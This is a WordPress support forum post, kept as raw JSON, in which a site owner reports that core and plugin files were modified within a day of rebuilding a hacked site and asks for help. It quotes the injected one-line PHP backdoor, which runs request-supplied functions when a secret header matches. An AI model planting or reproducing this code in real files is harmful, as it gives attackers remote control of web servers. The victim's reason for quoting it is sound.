One of my website was compromised. Since it only had like 5 pages. I saved all the pages text and completely deleted the files & database and installed everything from start. I also changed database username, pass but didn’t change addon\/ftp pass.<\/p>\n
After installing wordfence, sucuri & acunetix wp security and configuring these plugins i thought i have pretty secured my website. Site is hosted in HostGator.<\/p>\n
But to my surprise within like 24 hours 4 of my core files where modified<\/p>\n
Critical Problems:
\n* WordPress core file modified: wp-admin\/edit-form-advanced.php
\n* WordPress core file modified: wp-includes\/date.php
\n* WordPress core file modified: wp-includes\/ms-default-filters.php<\/p>\n
Warnings:
\n* Modified plugin file: wp-content\/plugins\/add-tags-and-category-to-page\/includes\/tcp_footer.php<\/p>\n
When checked through wordfence showed that all file has an added line at the top of the which is:<\/p>\n
\t<?php if(@md5($_SERVER[‘HTTP_PATH’])===’5cd2973f835de94b560b62465d5a37f3′){ @extract($_REQUEST); @die($stime($mtime)); } ?> <\/p>\n
I am pretty sure this is a hack, but I am not getting how they are getting through my site when everything is up-to-date, all freely available plugins has only been installed (nothing privacy of any sort).<\/p>\n
Also, can someone decode that code… what is it about… and how can i protect the site… i am really concerned..though i have now also changed the ftp\/addon password<\/p>\n
please help me!<\/p>\n
https:\/\/wordpress.org\/plugins\/wordfence\/<\/p>\n","protected":false},"template":"","class_list":["post-5615456","topic","type-topic","status-closed","hentry","topic-tag-website-hack"],"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/5615456","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic"}],"about":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/types\/topic"}],"version-history":[{"count":0,"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/5615456\/revisions"}],"wp:attachment":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/media?parent=5615456"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}